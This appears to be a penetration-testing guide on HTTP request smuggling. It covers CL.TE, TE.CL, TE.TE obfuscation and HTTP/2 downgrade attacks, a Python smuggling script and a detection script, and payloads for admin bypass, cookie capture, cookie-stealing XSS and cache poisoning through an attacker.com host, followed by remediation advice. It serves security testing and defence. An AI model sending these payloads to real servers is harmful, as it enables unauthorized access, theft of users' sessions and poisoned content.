HTTP Request Smuggling
HTTP Request Smuggling exploits discrepancies in how front-end and back-end servers parse HTTP requests. By crafting ambiguous requests, attackers can "smuggle" malicious requests past security controls, poison caches, or steal other users' data.
Warning
Frameworks: WSTG-INPV-15 · ASVS 5.0 V4.2.1 (also V4.2.2) · CWE-444 · T1190
Understanding Request Smuggling
Request smuggling occurs when front-end and back-end servers disagree on request boundaries. HTTP/1.1 uses two methods to determine where a request ends:
Content-Length
Specifies the exact number of bytes in the request body. Server reads exactly that many bytes.
Content-Length: 13
Transfer-Encoding: chunked
Body is sent in chunks, each prefixed with size. A zero-length chunk signals the end.
Transfer-Encoding: chunked
Information
CL.TE Attacks
CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding.
The front-end forwards the entire body, but the back-end stops at the 0 chunk,
leaving the remainder for the next request.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDHow it works:
- Front-end reads Content-Length: 13, forwards "0\r\n\r\nSMUGGLED"
- Back-end uses Transfer-Encoding, reads until "0\r\n\r\n" (end of chunks)
- "SMUGGLED" remains in the TCP stream, prepended to the next request
- Next request becomes "SMUGGLEDGET /path HTTP/1.1..."
CL.TE Desync — Front-end uses Content-Length, Back-end uses Transfer-Encoding
TE.CL Attacks
TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length. The front-end processes all chunks, but the back-end only reads Content-Length bytes.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0How it works:
- Front-end uses Transfer-Encoding, processes chunks, forwards everything
- Back-end uses Content-Length: 3, only reads "8\r\n"
- Remaining "SMUGGLED\r\n0\r\n" becomes start of next request
TE.CL Desync — Front-end uses Transfer-Encoding, Back-end uses Content-Length
TE.TE Obfuscation
Both servers support Transfer-Encoding, but one can be tricked into not processing it using obfuscation techniques:
# TE.TE Obfuscation Techniques
# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)
# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow
# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked
# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked
# Tab character
Transfer-Encoding:\tchunked
# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identityPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0HTTP/2 Request Smuggling
HTTP/2 carries Content-Length itself but prohibits Transfer-Encoding; message framing uses the frame length. However, when proxies downgrade HTTP/2 to HTTP/1.1, they may reconstruct these headers, enabling new smuggling vectors.
H2.CL
Inject a Content-Length header into HTTP/2 request. After downgrade, the injected CL causes desync.
H2.TE
Inject Transfer-Encoding header. HTTP/2 should reject it, but some proxies pass it through after downgrade.
# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 carries Content-Length itself but prohibits Transfer-Encoding
# (RFC 9113); downgrade to HTTP/1.1 at the proxy can reintroduce ambiguity
# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence
import h2.connection
import h2.events
import socket
import ssl
def h2_cl_smuggle(host, path="/"):
"""
Send HTTP/2 request with injected Content-Length header
If front-end downgrades to HTTP/1.1, smuggling occurs
"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Inject Content-Length header that will be used after downgrade
headers = [
(':method', 'POST'),
(':path', path),
(':authority', host),
(':scheme', 'https'),
('content-type', 'application/x-www-form-urlencoded'),
('content-length', '0'), # Valid header in H2; preserved on downgrade
]
# Body contains the smuggled request
body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 3
x=1"""
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
conn.send_data(stream_id, body.encode(), end_stream=True)
sock.sendall(conn.data_to_send())
# Read response
while True:
data = sock.recv(65535)
if not data:
break
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Status: {dict(event.headers).get(':status')}")
if isinstance(event, h2.events.DataReceived):
print(f"Body: {event.data.decode()}")Detection Techniques
Smuggling Type Detection Flowchart
Request smuggling detection relies on timing differences. If the back-end processes a partial request and waits for more data, response times will increase.
#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys
def test_clte(url):
"""
CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
If vulnerable, back-end will wait for more chunks and timeout
"""
payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X"""
print("[*] Testing CL.TE...")
start = time.time()
try:
# Send raw request (requires socket-level control)
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
except socket.timeout:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] CL.TE not detected")
return False
def test_tecl(url):
"""
TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
A vulnerable back-end reads only the Content-Length bytes and leaves the
remainder in the buffer to desync the next request.
"""
print("[*] Testing TE.CL...")
start = time.time()
try:
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
# Front-end (TE) forwards the whole chunked body; back-end (CL) reads 4 bytes
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
5c\r
GPOST / HTTP/1.1\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r
"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] TE.CL POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
if b"GPOST" in response:
print("[+] TE.CL POTENTIALLY VULNERABLE - Smuggled prefix reflected")
return True
except socket.timeout:
print(f"[+] TE.CL POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] TE.CL not detected")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
test_clte(url)
test_tecl(url)Detection Methods
- Timing-based: Send ambiguous request, measure if response is delayed
- Differential responses: Send pairs of requests, check for inconsistencies
- Error-based: Look for "400 Bad Request" on second request
- Response capture: Inject request that captures the next response
Exploitation Examples
# Request Smuggling Exploitation Examples
# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10
x=
# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400
comment=
# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment
# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X
# Next user receives the XSS response
# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X
# Cache stores attacker's version of main.jsSmuggling Tools
HTTP Request Smuggler (Burp)
Burp extension for automated detection and exploitation
Extensions → BApp Store → HTTP Request Smuggler
Smuggler (defparam)
Python tool for request smuggling detection
python3 smuggler.py -u https://target.com
GitHub →
h2csmuggler
HTTP/2 cleartext (h2c) smuggling tool
python3 h2csmuggler.py -x https://edge.example.com --test
python3 h2csmuggler.py -x https://edge.example.com http://backend/internal/admin
Detection uses --test; the smuggle form requires a positional back-end URL. -x is the edge/proxy to bypass — the positional argument is the back-end target (required unless --test).
Using Burp HTTP Request Smuggler
-
1. Install from BApp Store
Extensions → BApp Store → Search "HTTP Request Smuggler" → Install
-
2. Scan for vulnerabilities
- Right-click request in Proxy/Repeater
- Extensions → HTTP Request Smuggler → Smuggle probe
-
3. Interpret results
"CL.TE confirmed"= Front uses CL, back uses TE"TE.CL confirmed"= Front uses TE, back uses CL"Timeout"results may indicate partial success
-
4. Exploit with Turbo Intruder
- For confirmed vulns, craft exploitation payload
- Use Turbo Intruder for reliable delivery
-
5. Check for HTTP/2 support
- Target → Site map → Check protocol column
- Use HTTP/2 tab in Repeater for H2.CL/H2.TE tests
Practice Labs
PortSwigger Smuggling Labs
Labs from basic CL.TE to advanced HTTP/2 smuggling
HTTP/2 Research
PortSwigger's HTTP/2 smuggling research papers
HackerOne Reports
Real-world smuggling vulnerabilities
Testing Checklist
Prerequisites
- ☐ Identify load balancer/CDN/proxy in use
- ☐ Check if HTTP/2 is supported
- ☐ Verify connection reuse (Keep-Alive)
- ☐ Map request flow through infrastructure
Detection Tests
- ☐ Test CL.TE with timing
- ☐ Test TE.CL with timing
- ☐ Try TE.TE obfuscation variants
- ☐ Test HTTP/2 downgrade (H2.CL, H2.TE)
- ☐ Check for differential responses
Exploitation
- ☐ Access restricted endpoints (/admin)
- ☐ Capture other users' requests
- ☐ Poison web cache
- ☐ Deliver reflected XSS
- ☐ Bypass WAF rules
Documentation
- ☐ Record exact payload that worked
- ☐ Document infrastructure involved
- ☐ Capture timing/response evidence
- ☐ Note any impact on other users
Remediation & Defense
Defensive Measures
Server Configuration
- • Use HTTP/2 end-to-end (eliminates CL/TE ambiguity)
- • Configure front-end and back-end to agree on request boundaries
- • Reject ambiguous requests with both Content-Length and Transfer-Encoding
- • Normalize chunked encoding before forwarding
Proxy & Load Balancer
- • Ensure the reverse proxy always uses the same parsing as the back-end
- • Disable connection reuse between front-end and back-end
- • Use unique per-request connections to back-end servers
- • Keep all proxy/server software patched and up to date
Detection
- • Monitor for requests with both CL and TE headers
- • Alert on malformed chunked encoding
- • Use WAF rules to detect smuggling patterns
- • Audit request logs for unexpected request splitting
Architecture
- • Prefer HTTP/2 or HTTP/3 throughout the entire stack
- • Minimize the number of intermediaries in the request path
- • Use the same web server software at each layer when possible
- • Implement request integrity checks between layers
CWE References: CWE-444 (HTTP Request/Response Smuggling)
Evidence Collection
Desync Proof: Two sequential requests where the second request's response contains data/headers from the smuggled (first) request — proving request boundary confusion
Timeout Behavior: Differential response times showing CL.TE vs TE.CL detection — document which desync type is present
Cache Poisoning Chain: If chained with cache — show the poisoned cache entry serving malicious content to other users
Request Hijacking: Captured request from another user appended to your smuggled prefix — showing cross-user data leakage
CVSS Range: Request smuggling (info leak): 7.5 (High) | Cross-user request hijacking: 8.6–9.1 | Cache poisoning chain: 8.0–9.8 (Critical)
False Positive Identification
- Connection reuse required: Request smuggling requires HTTP keep-alive connections through a front-end/back-end pair — if each request uses a new connection, smuggling isn't possible.
- Timeout ≠ desync: A delayed response to a smuggling probe may be normal network latency. Run multiple tests and compare with baseline. Use Burp's HTTP Request Smuggler extension for reliable detection.
- Same server, no split: If there's no reverse proxy, CDN, or load balancer in front of the application server, request smuggling via CL/TE desync is unlikely — but HTTP/2 downgrade smuggling may still work.
- Lab vs production: Smuggling exploits are highly infrastructure-dependent — behavior in staging may differ from production. Note the exact infrastructure stack tested.
Request Smuggling Practice
Desynchronise front-end and back-end parsing on dedicated labs.